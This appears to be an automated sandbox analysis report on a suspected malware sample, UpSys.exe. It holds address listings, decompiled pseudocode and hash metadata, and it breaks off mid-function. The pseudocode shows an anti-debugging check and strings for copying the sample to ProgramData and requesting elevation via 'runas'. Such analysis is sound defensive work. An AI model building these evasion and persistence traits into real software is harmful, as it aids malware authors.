                                                                                                                                                                                                        0x14002ce0d
                                                                                                                                                                                                        0x14002ce12
                                                                                                                                                                                                        0x14002ce17
                                                                                                                                                                                                        0x14002ce1b
                                                                                                                                                                                                        0x14002ce23
                                                                                                                                                                                                        0x14002ce2d
                                                                                                                                                                                                        0x14002ce2f
                                                                                                                                                                                                        0x14002ce34
                                                                                                                                                                                                        0x14002ce3f
                                                                                                                                                                                                        0x14002ce47
                                                                                                                                                                                                        0x14002ce49
                                                                                                                                                                                                        0x14002ce4d
                                                                                                                                                                                                        0x14002ce51
                                                                                                                                                                                                        0x14002ce53
                                                                                                                                                                                                        0x14002ce58
                                                                                                                                                                                                        0x14002ce5a
                                                                                                                                                                                                        0x14002ce5d
                                                                                                                                                                                                        0x14002ce67
                                                                                                                                                                                                        0x14002ce6a
                                                                                                                                                                                                        0x14002ce71
                                                                                                                                                                                                        0x14002ce76
                                                                                                                                                                                                        0x14002ce78
                                                                                                                                                                                                        0x14002ce7f
                                                                                                                                                                                                        0x14002ce84
                                                                                                                                                                                                        0x14002ce87
                                                                                                                                                                                                        0x14002ce8d
                                                                                                                                                                                                        0x14002ce8f
                                                                                                                                                                                                        0x14002ce95
                                                                                                                                                                                                        0x14002ce97
                                                                                                                                                                                                        0x14002ce9d
                                                                                                                                                                                                        0x14002ce9f
                                                                                                                                                                                                        0x14002cea9
                                                                                                                                                                                                        0x14002ceb2
                                                                                                                                                                                                        0x14002ceb7
                                                                                                                                                                                                        0x14002cebc
                                                                                                                                                                                                        0x14002cec1
                                                                                                                                                                                                        0x14002cec6
                                                                                                                                                                                                        0x14002ced0
                                                                                                                                                                                                        0x14002ced5
                                                                                                                                                                                                        0x14002ceda
                                                                                                                                                                                                        0x14002cede
                                                                                                                                                                                                        0x14002cee9
                                                                                                                                                                                                        0x14002ceed
                                                                                                                                                                                                        0x14002ceef
                                                                                                                                                                                                        0x14002cef6
                                                                                                                                                                                                        0x14002cefd
                                                                                                                                                                                                        0x14002cf04
                                                                                                                                                                                                        0x14002cf0b
                                                                                                                                                                                                        0x14002cf12
                                                                                                                                                                                                        0x14002cf19
                                                                                                                                                                                                        0x14002cf1b
                                                                                                                                                                                                        0x14002cf1d
                                                                                                                                                                                                        0x14002cf1f
                                                                                                                                                                                                        0x14002cf27
                                                                                                                                                                                                        0x14002cf2e
                                                                                                                                                                                                        0x14002cf35
                                                                                                                                                                                                        0x14002cf37
                                                                                                                                                                                                        0x14002cf3a
                                                                                                                                                                                                        0x14002cf3e
                                                                                                                                                                                                        0x14002cf44
                                                                                                                                                                                                        0x14002cf49
                                                                                                                                                                                                        0x14002cf60
                                                                                                                                                                                                        0x14002cf64
                                                                                                                                                                                                        0x14002cf69
                                                                                                                                                                                                        0x14002cf6d
                                                                                                                                                                                                        0x14002cf6f
                                                                                                                                                                                                        0x14002cf74
                                                                                                                                                                                                        0x14002cf7c
                                                                                                                                                                                                        0x14002cf81
                                                                                                                                                                                                        0x14002cf85
                                                                                                                                                                                                        0x14002cf89
                                                                                                                                                                                                        0x14002cf8b
                                                                                                                                                                                                        0x14002cf90
                                                                                                                                                                                                        0x14002cf99
                                                                                                                                                                                                        0x14002cf9b
                                                                                                                                                                                                        0x14002cfa0
                                                                                                                                                                                                        0x14002cfa6
                                                                                                                                                                                                        0x14002cfa8
                                                                                                                                                                                                        0x14002cfad
                                                                                                                                                                                                        0x14002cfb2
                                                                                                                                                                                                        0x14002cfb7
                                                                                                                                                                                                        0x14002cfbc
                                                                                                                                                                                                        0x14002cfbe
                                                                                                                                                                                                        0x14002cfc3
                                                                                                                                                                                                        0x14002cfc5
                                                                                                                                                                                                        0x14002cfc8
                                                                                                                                                                                                        0x14002cfcd
                                                                                                                                                                                                        0x14002cfd3
                                                                                                                                                                                                        0x14002cfda
                                                                                                                                                                                                        0x14002cfdf
                                                                                                                                                                                                        0x14002cfe7
                                                                                                                                                                                                        0x14002cff4
                                                                                                                                                                                                        0x14002d001
                                                                                                                                                                                                        0x14002d006
                                                                                                                                                                                                        0x14002d00c
                                                                                                                                                                                                        0x14002d010
                                                                                                                                                                                                        0x14002d016
                                                                                                                                                                                                        0x14002d01f
                                                                                                                                                                                                        0x14002d031
                                                                                                                                                                                                        0x14002d03b
                                                                                                                                                                                                        0x14002d03d
                                                                                                                                                                                                        0x14002d04a
                                                                                                                                                                                                        0x14002d04f
                                                                                                                                                                                                        0x14002d059
                                                                                                                                                                                                        0x14002d061
                                                                                                                                                                                                        0x14002d065
                                                                                                                                                                                                        0x14002d06b
                                                                                                                                                                                                        0x14002d074
                                                                                                                                                                                                        0x14002d076
                                                                                                                                                                                                        0x14002d08e
                                                                                                                                                                                                        0x14002d093
                                                                                                                                                                                                        0x14002d0a0
                                                                                                                                                                                                        0x14002d0a5
                                                                                                                                                                                                        0x14002d0aa
                                                                                                                                                                                                        0x14002d0ac
                                                                                                                                                                                                        0x14002d0b4
                                                                                                                                                                                                        0x14002d0bc
                                                                                                                                                                                                        0x14002d0be
                                                                                                                                                                                                        0x14002d0d6
                                                                                                                                                                                                        0x14002d0db
                                                                                                                                                                                                        0x14002d0e0
                                                                                                                                                                                                        0x14002d0ea
                                                                                                                                                                                                        0x14002d0f4
                                                                                                                                                                                                        0x14002d0fc
                                                                                                                                                                                                        0x14002d0fe
                                                                                                                                                                                                        0x14002d103
                                                                                                                                                                                                        0x14002d109
                                                                                                                                                                                                        0x14002d10e
                                                                                                                                                                                                        0x14002d110
                                                                                                                                                                                                        0x14002d114
                                                                                                                                                                                                        0x14002d116
                                                                                                                                                                                                        0x14002d119
                                                                                                                                                                                                        0x14002d11b
                                                                                                                                                                                                        0x14002d126
                                                                                                                                                                                                        0x14002d144
                                                                                                                                                                                                        0x14002d150
                                                                                                                                                                                                        0x14002d155
                                                                                                                                                                                                        0x14002d166
                                                                                                                                                                                                        0x14002d16b
                                                                                                                                                                                                        0x14002d175
                                                                                                                                                                                                        0x14002d179
                                                                                                                                                                                                        0x14002d182
                                                                                                                                                                                                        0x14002d18b
                                                                                                                                                                                                        0x14002d18f
                                                                                                                                                                                                        0x14002d195
                                                                                                                                                                                                        0x14002d19a
                                                                                                                                                                                                        0x14002d1a1
                                                                                                                                                                                                        0x14002d1a3
                                                                                                                                                                                                        0x14002d1ae
                                                                                                                                                                                                        0x14002d1b2
                                                                                                                                                                                                        0x14002d1b7
                                                                                                                                                                                                        0x14002d1c3
                                                                                                                                                                                                        0x14002d1c9
                                                                                                                                                                                                        0x14002d1d5
                                                                                                                                                                                                        0x14002d1dd
                                                                                                                                                                                                        0x14002d1ee
                                                                                                                                                                                                        0x14002d1f2
                                                                                                                                                                                                        0x14002d1ff
                                                                                                                                                                                                        0x14002d209
                                                                                                                                                                                                        0x14002d214
                                                                                                                                                                                                        0x14002d216
                                                                                                                                                                                                        0x14002d21e
                                                                                                                                                                                                        0x14002d220
                                                                                                                                                                                                        0x14002d224
                                                                                                                                                                                                        0x14002d226
                                                                                                                                                                                                        0x14002d22a
                                                                                                                                                                                                        0x14002d231
                                                                                                                                                                                                        0x14002d238
                                                                                                                                                                                                        0x14002d23f
                                                                                                                                                                                                        0x14002d246
                                                                                                                                                                                                        0x14002d24d
                                                                                                                                                                                                        0x14002d254
                                                                                                                                                                                                        0x14002d25b
                                                                                                                                                                                                        0x14002d25d
                                                                                                                                                                                                        0x14002d264
                                                                                                                                                                                                        0x14002d271
                                                                                                                                                                                                        0x14002d273
                                                                                                                                                                                                        0x14002d27b
                                                                                                                                                                                                        0x14002d27d
                                                                                                                                                                                                        0x14002d28b
                                                                                                                                                                                                        0x14002d291
                                                                                                                                                                                                        0x14002d299
                                                                                                                                                                                                        0x14002d2a2
                                                                                                                                                                                                        0x14002d2ac
                                                                                                                                                                                                        0x14002d2b7
                                                                                                                                                                                                        0x14002d2be
                                                                                                                                                                                                        0x14002d2c6
                                                                                                                                                                                                        0x14002d2cf
                                                                                                                                                                                                        0x14002d2d4
                                                                                                                                                                                                        0x14002d2d6
                                                                                                                                                                                                        0x14002d2d9
                                                                                                                                                                                                        0x14002d2e7
                                                                                                                                                                                                        0x14002d2ed
                                                                                                                                                                                                        0x14002d2f2
                                                                                                                                                                                                        0x14002d2fb
                                                                                                                                                                                                        0x14002d301
                                                                                                                                                                                                        0x14002d309
                                                                                                                                                                                                        0x14002d310
                                                                                                                                                                                                        0x14002d315
                                                                                                                                                                                                        0x14002d31d
                                                                                                                                                                                                        0x14002d321
                                                                                                                                                                                                        0x14002d326
                                                                                                                                                                                                        0x14002d32f
                                                                                                                                                                                                        0x14002d337
                                                                                                                                                                                                        0x14002d33c
                                                                                                                                                                                                        0x14002d342
                                                                                                                                                                                                        0x14002d34a
                                                                                                                                                                                                        0x14002d353
                                                                                                                                                                                                        0x14002d358
                                                                                                                                                                                                        0x14002d362
                                                                                                                                                                                                        0x14002d364
                                                                                                                                                                                                        0x14002d364
                                                                                                                                                                                                        0x14002d368
                                                                                                                                                                                                        0x14002d370
                                                                                                                                                                                                        0x14002d37f
                                                                                                                                                                                                        0x14002d383
                                                                                                                                                                                                        0x14002d388
                                                                                                                                                                                                        0x14002d392
                                                                                                                                                                                                        0x14002d396
                                                                                                                                                                                                        0x14002d3a0
                                                                                                                                                                                                        0x14002d3a4
                                                                                                                                                                                                        0x14002d3b2
                                                                                                                                                                                                        0x14002d3b8
                                                                                                                                                                                                        0x14002d3c0
                                                                                                                                                                                                        0x14002d3c7
                                                                                                                                                                                                        0x14002d3cc
                                                                                                                                                                                                        0x14002d3d4
                                                                                                                                                                                                        0x14002d3d8
                                                                                                                                                                                                        0x14002d3dd
                                                                                                                                                                                                        0x14002d3e6
                                                                                                                                                                                                        0x14002d3ee
                                                                                                                                                                                                        0x14002d3f3
                                                                                                                                                                                                        0x14002d3fb
                                                                                                                                                                                                        0x14002d403
                                                                                                                                                                                                        0x14002d408
                                                                                                                                                                                                        0x14002d411
                                                                                                                                                                                                        0x14002d413
                                                                                                                                                                                                        0x14002d418
                                                                                                                                                                                                        0x14002d420
                                                                                                                                                                                                        0x14002d42b
                                                                                                                                                                                                        0x14002d433
                                                                                                                                                                                                        0x14002d436
                                                                                                                                                                                                        0x14002d43e
                                                                                                                                                                                                        0x14002d449
                                                                                                                                                                                                        0x14002d44b
                                                                                                                                                                                                        0x14002d451
                                                                                                                                                                                                        0x14002d454
                                                                                                                                                                                                        0x14002d462
                                                                                                                                                                                                        0x14002d46a
                                                                                                                                                                                                        0x14002d46e
                                                                                                                                                                                                        0x14002d473
                                                                                                                                                                                                        0x14002d478
                                                                                                                                                                                                        0x14002d47d
                                                                                                                                                                                                        0x14002d48a
                                                                                                                                                                                                        0x14002d48e
                                                                                                                                                                                                        0x14002d495
                                                                                                                                                                                                        0x14002d4a0
                                                                                                                                                                                                        0x14002d4a9
                                                                                                                                                                                                        0x14002d4af
                                                                                                                                                                                                        0x14002d4b1
                                                                                                                                                                                                        0x14002d4c2
                                                                                                                                                                                                        0x14002d4c7
                                                                                                                                                                                                        0x14002d4d9
                                                                                                                                                                                                        0x14002d4e2
                                                                                                                                                                                                        0x14002d4ed
                                                                                                                                                                                                        0x14002d4f7
                                                                                                                                                                                                        0x14002d504
                                                                                                                                                                                                        0x14002d509
                                                                                                                                                                                                        0x14002d50d
                                                                                                                                                                                                        0x14002d517
                                                                                                                                                                                                        0x14002d522
                                                                                                                                                                                                        0x14002d52c
                                                                                                                                                                                                        0x14002d536
                                                                                                                                                                                                        0x14002d53b
                                                                                                                                                                                                        0x14002d541
                                                                                                                                                                                                        0x14002d54d
                                                                                                                                                                                                        0x14002d552
                                                                                                                                                                                                        0x14002d55a
                                                                                                                                                                                                        0x14002d55f
                                                                                                                                                                                                        0x14002d57a
                                                                                                                                                                                                        0x14002d59a

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno$ErrorFileLast$CloseCreate__doserrno_lseek_nolock$Handle_close_nolock$ChangeFindNotificationType
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2153810392-0
                                                                                                                                                                                                        • Opcode ID: 0440e1c6b79a7b26bb270bff20b086d02f74d4cdd9513dd039ee48925c0314d0
                                                                                                                                                                                                        • Instruction ID: bb1c7c00ee053e4ee68d8ba86fb35174822616a4b476a821270392adf8ae6440
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0440e1c6b79a7b26bb270bff20b086d02f74d4cdd9513dd039ee48925c0314d0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C132F33221468086FB769B2AD4847EE76A1F7897E4F24421EFB5A877F5CA39CC44C701
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400121F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 142windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 50%
                                                                                                                                                                                                        			E000000011400121F0(void* __edx, void* __ebp, void* __rax, long long __rbx, void* __rdx, long long __rdi, void* __rbp, void* __r8, void* __r10, void* __r11, void* __r12, void* __r13, long long _a8, long long _a16, char _a24) {
				void* _v536;
				void* _v1064;
				long long _v1112;
				void* __rsi;
				intOrPtr _t15;
				void* _t16;
				void* _t19;
				void* _t32;
				long long _t43;
				void* _t70;

				_t70 = __r11;
				_t64 = __rbp;
				_t43 = __rbx;
				_t32 = __ebp;
				_t63 = __rdx;
				GetCurrentDirectoryW(??, ??);
				E000000011400021D0(__edx, __rax, __rbx, __rdx, __rbp); // executed
				if (IsDebuggerPresent() != 0) goto 0x4003b420;
				_t15 =  *0x400c5f48; // 0x4
				if (_t15 == 0) goto 0x4003b442;
				_a8 = _t43;
				_a16 = __rdi;
				dil = 0;
				if (_t15 == 1) goto 0x4003b45d;
				r9d =  *0x400b5498 & 0x000000ff;
				_v1112 =  &_a24;
				_a24 = dil;
				_t16 = E00000001140015150(_t43, 0x400c7ef0, 0x400c5f70, _t63, 0x400c5f48); // executed
				if (_t16 == 0) goto 0x4003b48e;
				 *0x400c5f4c =  *0x400c7ef0 & 0x000000ff;
				GetFullPathNameW(??, ??, ??, ??);
				r8d =  *0x400c5f48; // 0x4
				_t19 = E00000001140001380(_t43, 0x400c5f70); // executed
				if (_t19 != 0) goto 0x4003b49d;
				if (( *0x400c7ef1 & 0x000000ff) == 1) goto 0x4003b4c3;
				E00000001140015A40( &_a24, _t43, _t63); // executed
				E00000001140015960(); // executed
				if ( *0x400c5f4c != 0) goto 0x40012327;
				E000000011400129A0(_t43, 0x400c6b70, _t63, _t70);
				E000000011400072E0( *0x400c7ef1 & 0x000000ff, 0x104, 1, _t32, _t43, 0x400c6180, _t63, _t64, 0x400c5f40, __r10, _t70, __r12, __r13); // executed
				if ( *0x400c5f4c != 0) goto 0x4001234d;
				E00000001140012AD0(0x400c6b70);
				E00000001140013CA0(_t43, 0x400c7ef0, 0x400c5f70, _t63, _t64); // executed
				return SetCurrentDirectoryW(??);
			}













                                                                                                                                                                                                        0x1400121f0
                                                                                                                                                                                                        0x1400121f0
                                                                                                                                                                                                        0x1400121f0
                                                                                                                                                                                                        0x1400121f0
                                                                                                                                                                                                        0x1400121f9
                                                                                                                                                                                                        0x140012206
                                                                                                                                                                                                        0x140012216
                                                                                                                                                                                                        0x140012223
                                                                                                                                                                                                        0x140012229
                                                                                                                                                                                                        0x140012231
                                                                                                                                                                                                        0x140012237
                                                                                                                                                                                                        0x14001223f
                                                                                                                                                                                                        0x140012247
                                                                                                                                                                                                        0x14001224d
                                                                                                                                                                                                        0x140012253
                                                                                                                                                                                                        0x140012278
                                                                                                                                                                                                        0x14001227d
                                                                                                                                                                                                        0x140012285
                                                                                                                                                                                                        0x14001228c
                                                                                                                                                                                                        0x1400122bb
                                                                                                                                                                                                        0x1400122c1
                                                                                                                                                                                                        0x1400122cf
                                                                                                                                                                                                        0x1400122e4
                                                                                                                                                                                                        0x1400122eb
                                                                                                                                                                                                        0x1400122f4
                                                                                                                                                                                                        0x140012301
                                                                                                                                                                                                        0x14001230d
                                                                                                                                                                                                        0x140012319
                                                                                                                                                                                                        0x140012322
                                                                                                                                                                                                        0x140012333
                                                                                                                                                                                                        0x14001233f
                                                                                                                                                                                                        0x140012348
                                                                                                                                                                                                        0x140012354
                                                                                                                                                                                                        0x14001237c

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Load$CurrentDirectoryIconNameWindow$CreateFileFullModulePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
                                                                                                                                                                                                        • String ID: $C:\ProgramData\UpSys.exe$runas
                                                                                                                                                                                                        • API String ID: 1782616709-553812972
                                                                                                                                                                                                        • Opcode ID: 43dce2e765e4ae4462819a09501b880688119ca328fea58507bedd247ffe1afd
                                                                                                                                                                                                        • Instruction ID: 15a936b02669ffbeed52465ab92a18baa28ea67533fd23afe2a9f433cb727cd1
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 43dce2e765e4ae4462819a09501b880688119ca328fea58507bedd247ffe1afd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F7715872118B8691FA2AEB62E8507DA2364F74D3D9F840016F78D076B6DF7DC68AC700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014002527C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 106COMMONLIBRARYCODECrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 64%
                                                                                                                                                                                                        			E0000000114002527C(signed int __ecx, void* __edi, signed int* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __rbp, void* __r8, signed int _a8, long long _a16, long long _a24) {
				long long _v56;
				void* __rdi;
				void* __r12;
				void* _t34;
				signed int _t35;
				signed int _t45;
				void* _t59;
				void* _t63;
				signed int* _t69;
				signed int* _t70;
				long long _t71;
				signed long long _t85;
				void* _t86;
				signed long long _t88;

				_t83 = __r8;
				_t79 = __rbp;
				_t77 = __rsi;
				_t74 = __rdx;
				_t73 = __rcx;
				_t71 = __rbx;
				_t59 = __edi;
				_a16 = __rbx;
				_a24 = __rsi;
				_a8 = __ecx;
				_t86 = __rdx;
				_t76 = __ecx;
				if (__edi != 0xfffffffe) goto 0x400252c1;
				E0000000114001EB04(__edi - 0xfffffffe, __rax);
				 *__rax = 0;
				E0000000114001EAE4(__edi - 0xfffffffe, __rax);
				 *__rax = 9;
				goto 0x400253d6;
				if (__edi < 0) goto 0x400253ad;
				_t63 = _t59 -  *0x400c88bc; // 0x20
				if (_t63 >= 0) goto 0x400253ad;
				_t88 = __ecx >> 5;
				r12d = r12d & 0x0000001f;
				_t85 = __ecx * 0x58;
				_t69 =  *((intOrPtr*)(0x400c88c0 + _t88 * 8));
				if (_t63 != 0) goto 0x4002532d;
				E0000000114001EB04(_t63, _t69);
				 *_t69 = 0;
				E0000000114001EAE4(_t63, _t69);
				 *_t69 = 9;
				_v56 = __rbx;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t69, __rbx, __rcx, __rdx, __rsi, __rbp, __r8);
				goto 0x400253d6;
				if (r8d - 0x7fffffff < 0) goto 0x40025368;
				E0000000114001EB04(r8d - 0x7fffffff < 0, _t69);
				 *_t69 = 0;
				E0000000114001EAE4(r8d - 0x7fffffff < 0, _t69);
				 *_t69 = 0x16;
				_v56 = _t71;
				r9d = 0;
				r8d = 0;
				E0000000114001EA14(_t69, _t71, _t73, _t74, _t77, _t79, _t83);
				goto 0x400253d6;
				_t34 = E00000001140022130(0, __edi, _t71, _t76, _t77, _t85);
				_t70 =  *((intOrPtr*)(0x400c88c0 + _t88 * 8));
				if (( *(_t70 + _t85 + 8) & 0x00000001) == 0) goto 0x4002538d;
				_t35 = E00000001140024AFC(_t34, _t59, r8d, _t86, _t83); // executed
				_t45 = _t35;
				goto 0x400253a2;
				E0000000114001EAE4( *(_t70 + _t85 + 8) & 0x00000001, _t70);
				 *_t70 = 9;
				E0000000114001EB04( *(_t70 + _t85 + 8) & 0x00000001, _t70);
				 *_t70 = _t45;
				E000000011400221D8();
				goto 0x400253d6;
				E0000000114001EB04( *(_t70 + _t85 + 8) & 0x00000001, _t70);
				 *_t70 = _t45 | 0xffffffff;
				E0000000114001EAE4( *(_t70 + _t85 + 8) & 0x00000001, _t70);
				 *_t70 = 9;
				_v56 = _t71;
				r9d = 0;
				r8d = 0;
				return E0000000114001EA14(_t70, _t71, _t73, _t86, _t77, _t79, _t83) | 0xffffffff;
			}

















                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x14002527c
                                                                                                                                                                                                        0x140025281
                                                                                                                                                                                                        0x140025286
                                                                                                                                                                                                        0x14002529a
                                                                                                                                                                                                        0x14002529d
                                                                                                                                                                                                        0x1400252a3
                                                                                                                                                                                                        0x1400252a5
                                                                                                                                                                                                        0x1400252ac
                                                                                                                                                                                                        0x1400252ae
                                                                                                                                                                                                        0x1400252b3
                                                                                                                                                                                                        0x1400252bc
                                                                                                                                                                                                        0x1400252c5
                                                                                                                                                                                                        0x1400252cb
                                                                                                                                                                                                        0x1400252d1
                                                                                                                                                                                                        0x1400252dd
                                                                                                                                                                                                        0x1400252e8
                                                                                                                                                                                                        0x1400252ec
                                                                                                                                                                                                        0x1400252f0
                                                                                                                                                                                                        0x1400252fd
                                                                                                                                                                                                        0x1400252ff
                                                                                                                                                                                                        0x140025304
                                                                                                                                                                                                        0x140025306
                                                                                                                                                                                                        0x14002530b
                                                                                                                                                                                                        0x140025311
                                                                                                                                                                                                        0x140025316
                                                                                                                                                                                                        0x140025319
                                                                                                                                                                                                        0x140025320
                                                                                                                                                                                                        0x140025328
                                                                                                                                                                                                        0x14002533b
                                                                                                                                                                                                        0x14002533d
                                                                                                                                                                                                        0x140025342
                                                                                                                                                                                                        0x140025344
                                                                                                                                                                                                        0x140025349
                                                                                                                                                                                                        0x14002534f
                                                                                                                                                                                                        0x140025354
                                                                                                                                                                                                        0x140025357
                                                                                                                                                                                                        0x14002535e
                                                                                                                                                                                                        0x140025366
                                                                                                                                                                                                        0x14002536a
                                                                                                                                                                                                        0x140025370
                                                                                                                                                                                                        0x14002537a
                                                                                                                                                                                                        0x140025384
                                                                                                                                                                                                        0x140025389
                                                                                                                                                                                                        0x14002538b
                                                                                                                                                                                                        0x14002538d
                                                                                                                                                                                                        0x140025392
                                                                                                                                                                                                        0x140025398
                                                                                                                                                                                                        0x14002539d
                                                                                                                                                                                                        0x1400253a4
                                                                                                                                                                                                        0x1400253ab
                                                                                                                                                                                                        0x1400253ad
                                                                                                                                                                                                        0x1400253b2
                                                                                                                                                                                                        0x1400253b4
                                                                                                                                                                                                        0x1400253b9
                                                                                                                                                                                                        0x1400253bf
                                                                                                                                                                                                        0x1400253c4
                                                                                                                                                                                                        0x1400253c7
                                                                                                                                                                                                        0x1400253ed

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: __doserrno_errno
                                                                                                                                                                                                        • String ID: C:\ProgramData\UpSys.exe
                                                                                                                                                                                                        • API String ID: 921712934-3875041276
                                                                                                                                                                                                        • Opcode ID: cf221056f01de8ed8bb1cb4a9ab62eaba0ffc810a55163c5fa7f5fb87fc6a80d
                                                                                                                                                                                                        • Instruction ID: 8e86f72051d5972c399217a316ada81a093fe9cee82b143a001040e8db392613
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cf221056f01de8ed8bb1cb4a9ab62eaba0ffc810a55163c5fa7f5fb87fc6a80d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2341E43221429086F723AF77988179E3561BB887E0F55561DBB210BBF2CFB9D801C706
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014007E830 Relevance: 15.3, APIs: 10, Instructions: 325registryCOMMONCrypto
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 49%
                                                                                                                                                                                                        			E0000000114007E830(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __eflags, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __rbp, intOrPtr* __r8, unsigned int _a16, intOrPtr _a32) {
				void* _v40;
				long long _v64;
				long long _v72;
				long long _v80;
				char _v88;
				char _v120;
				char _v152;
				long long _v160;
				long long _v168;
				long long _v176;
				char _v184;
				char _v192;
				signed int _v196;
				char _v200;
				char _v208;
				char _v216;
				unsigned int* _v224;
				long long _v232;
				void* __rdi;
				void* __rsi;
				void* __r12;
				void* _t132;
				long _t135;
				long _t139;
				void* _t177;
				void* _t183;
				unsigned int _t193;
				unsigned int _t194;
				void* _t204;
				long long _t232;
				intOrPtr _t237;
				intOrPtr* _t238;
				signed long long _t239;
				intOrPtr* _t240;
				long long _t244;
				unsigned int* _t245;
				long long _t246;
				signed long long _t247;
				intOrPtr* _t251;
				long long _t253;
				void* _t340;
				intOrPtr* _t341;
				void* _t343;
				intOrPtr* _t344;
				void* _t347;
				char* _t353;
				void* _t363;
				void* _t365;
				void* _t366;
				long long _t368;

				_t346 = __rbp;
				_t250 = __rbx;
				_t204 = __eflags;
				_t183 = __edx;
				_t177 = __ecx;
